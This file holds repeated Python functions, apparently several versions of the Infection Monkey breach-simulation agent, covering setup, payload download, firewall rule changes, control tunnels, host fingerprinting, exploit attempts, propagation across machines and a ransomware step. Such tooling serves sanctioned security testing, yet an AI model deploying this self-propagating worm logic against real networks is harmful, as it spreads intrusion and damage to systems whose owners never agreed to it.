def download_pba_file(dst_dir, filename): """ Handles post breach action file download :param dst_dir: Destination directory :param filename: Filename :return: True if successful, false otherwise """ pba_file_contents = ControlClient.get_pba_file(filename) status = None if not pba_file_contents or not pba_file_contents.content: LOG.error("Island didn't respond with post breach file.") status = ScanStatus.SCANNED if not status: status = ScanStatus.USED T1105Telem( status, WormConfiguration.current_server.split(':')[0], get_interface_to_target( WormConfiguration.current_server.split(':')[0]), filename).send() if status == ScanStatus.SCANNED: return False try: with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: written_PBA_file.write(pba_file_contents.content) return True except IOError as e: LOG.error("Can not upload post breach file to target machine: %s" % e) return False
def get_target_monkey(host): from infection_monkey.control import ControlClient import platform import sys if host.monkey_exe: return host.monkey_exe if not host.os.get('type'): return None monkey_path = ControlClient.download_monkey_exe(host) if host.os.get('machine') and monkey_path: host.monkey_exe = monkey_path if not monkey_path: if host.os.get('type') == platform.system().lower(): # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ host.os.get('machine', '').lower() == platform.machine().lower(): monkey_path = sys.executable return monkey_path
def upgrade(opts): try: monkey_64_path = ControlClient.download_monkey_exe_by_os( True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) except (IOError, AttributeError) as e: LOG.error("Failed to download the Monkey to the target path: %s." % e) return monkey_options = build_monkey_commandline_explicitly( opts.parent, opts.tunnel, opts.server, opts.depth) monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { 'monkey_path': WormConfiguration.dropper_target_path_win_64 } + monkey_options monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) LOG.info( "Executed 64bit monkey process (PID=%d) with command line: %s", monkey_process.pid, monkey_cmdline) time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) if monkey_process.poll() is not None: LOG.error("Seems like monkey died too soon")
def start(self): try: LOG.info("Monkey is starting...") LOG.debug("Starting the setup phase.") # Sets island's IP and port for monkey to communicate to self.set_default_server() self.set_default_port() # Create a dir for monkey files if there isn't one create_monkey_dir() self.upgrade_to_64_if_needed() ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() self.shutdown_by_not_alive_config() if self.is_started_on_island(): ControlClient.report_start_on_island() ControlClient.should_monkey_run(self._opts.vulnerable_port) if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() LOG.debug("Starting the post-breach phase.") self.collect_system_info_if_configured() PostBreach().execute_all_configured() LOG.debug("Starting the propagation phase.") self.shutdown_by_max_depth_reached() for iteration_index in range(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._fingerprint = HostFinger.get_instances() self._exploiters = HostExploiter.get_classes() if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ScanTelem(machine).send() # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug( "Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server( get_interface_to_target(machine.ip_addr) + (':' + self._default_server_port if self. _default_server_port else '')) else: machine.set_default_server(self._default_server) LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) # Order exploits according to their type self._exploiters = sorted( self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) host_exploited = False for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() if not self._keep_running: break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join() except PlannedShutdownException: LOG.info( "A planned shutdown of the Monkey occurred. Logging the reason and finishing execution." ) LOG.exception("Planned shutdown, reason:")
def get_target_monkey_by_os(is_windows, is_32bit): from infection_monkey.control import ControlClient return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def start(self): LOG.info("Monkey is running...") if not ControlClient.find_server(default_tunnel=self._default_tunnel): LOG.info("Monkey couldn't find server. Going down.") return # Create a dir for monkey files if there isn't one utils.create_monkey_dir() if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry( "tunnel", {'proxy': ControlClient.proxies.get('https')}) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) for action_class in WormConfiguration.post_breach_actions: action = action_class() action.act() PostBreach().execute() if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for iteration_index in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [ fingerprint() for fingerprint in WormConfiguration.finger_classes ] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry('scan', { 'machine': machine.as_dict(), }) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) # Order exploits according to their type self._exploiters = sorted( self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) host_exploited = False for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() if not self._keep_running: break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join()
def start(self): LOG.info("Monkey is running...") if not ControlClient.find_server(default_tunnel=self._default_tunnel): LOG.info("Monkey couldn't find server. Going down.") return if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry( "tunnel", {'proxy': ControlClient.proxies.get('https')}) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for iteration_index in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [ fingerprint() for fingerprint in WormConfiguration.finger_classes ] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( WormConfiguration.scanner_class, max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry( 'scan', { 'machine': machine.as_dict(), 'scanner': WormConfiguration.scanner_class.__name__ }) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) successful_exploiter = None for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if not exploiter.is_os_supported(): LOG.info( "Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) continue LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) result = False try: result = exploiter.exploit_host() if result: successful_exploiter = exploiter break else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except Exception as exc: LOG.exception( "Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) finally: exploiter.send_exploit_telemetry(result) if successful_exploiter: self._exploited_machines.add(machine) LOG.info("Successfully propagated to %s using %s", machine, successful_exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len( self._exploited_machines): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) break else: self._fail_exploitation_machines.add(machine) if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join()
def send_exploit_telemetry(self, result): from infection_monkey.control import ControlClient ControlClient.send_telemetry( 'exploit', {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, 'info': self._exploit_info, 'attempts': self._exploit_attempts})
def start(self): LOG.info("Monkey is running...") # Sets island's IP and port for monkey to communicate to if not self.set_default_server(): return self.set_default_port() # Create a dir for monkey files if there isn't one create_monkey_dir() if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() StateTelem(is_done=False).send() TunnelTelem().send() if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() SystemInfoTelem(system_info).send() # Executes post breach actions PostBreach().execute() if 0 == WormConfiguration.depth: TraceTelem("Reached max depth, shutting down").send() return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for iteration_index in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [ fingerprint() for fingerprint in WormConfiguration.finger_classes ] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ScanTelem(machine).send() # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server( get_interface_to_target(machine.ip_addr) + (':' + self._default_server_port if self. _default_server_port else '')) else: machine.set_default_server(self._default_server) LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) # Order exploits according to their type if WormConfiguration.should_exploit: self._exploiters = sorted( self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) host_exploited = False for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() if not self._keep_running: break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join()
def propagate(self): for iteration_index in range(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._fingerprint = HostFinger.get_instances() self._exploiters = HostExploiter.get_classes() if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop, ) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: logger.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__, ) try: finger.get_host_fingerprint(machine) except BaseException as exc: logger.error( "Failed to run fingerprinter %s, exception %s" % finger.__class__.__name__, str(exc), ) ScanTelem(machine).send() # skip machines that we've already exploited if machine in self._exploited_machines: logger.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: logger.debug("%r - exploitation failed before, trying again", machine) else: logger.debug("Skipping %r - exploitation failed before", machine) continue if self._monkey_tunnel: self._monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server( get_interface_to_target(machine.ip_addr) + (":" + self._default_server_port if self._default_server_port else "") ) else: machine.set_default_server(self._default_server) logger.debug( "Default server for machine: %r set to %s" % (machine, machine.default_server) ) # Order exploits according to their type self._exploiters = sorted( self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value ) host_exploited = False for exploiter in [exploiter(machine) for exploiter in self._exploiters]: if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem("T1210", ScanStatus.USED, machine=machine).send() if exploiter.RUNS_AGENT_ON_SUCCESS: break # if adding machine to exploited, won't try other exploits # on it if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem("T1210", ScanStatus.SCANNED, machine=machine).send() if not self._keep_running: break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations logger.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: logger.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: logger.info("Marked not alive from configuration")
def start(self): try: logger.info("Monkey is starting...") logger.debug("Starting the setup phase.") # Sets island's IP and port for monkey to communicate to self.set_default_server() self.set_default_port() # Create a dir for monkey files if there isn't one create_monkey_dir() self.upgrade_to_64_if_needed() ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() self.shutdown_by_not_alive_config() if is_running_on_island(): WormConfiguration.started_on_island = True ControlClient.report_start_on_island() if not ControlClient.should_monkey_run(self._opts.vulnerable_port): raise PlannedShutdownException( "Monkey shouldn't run on current machine " "(it will be exploited later with more depth)." ) if firewall.is_enabled(): firewall.add_firewall_rule() self._monkey_tunnel = ControlClient.create_control_tunnel() if self._monkey_tunnel: self._monkey_tunnel.start() StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() logger.debug("Starting the post-breach phase asynchronously.") self._post_breach_phase = Thread(target=self.start_post_breach_phase) self._post_breach_phase.start() if not InfectionMonkey.max_propagation_depth_reached(): logger.info("Starting the propagation phase.") logger.debug("Running with depth: %d" % WormConfiguration.depth) self.propagate() else: logger.info( "Maximum propagation depth has been reached; monkey will not propagate." ) TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() if self._keep_running and WormConfiguration.alive: InfectionMonkey.run_ransomware() # if host was exploited, before continue to closing the tunnel ensure the exploited # host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time logger.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep ) time.sleep(time_to_sleep) except PlannedShutdownException: logger.info( "A planned shutdown of the Monkey occurred. Logging the reason and finishing " "execution." ) logger.exception("Planned shutdown, reason:") finally: if self._monkey_tunnel: self._monkey_tunnel.stop() self._monkey_tunnel.join() if self._post_breach_phase: self._post_breach_phase.join()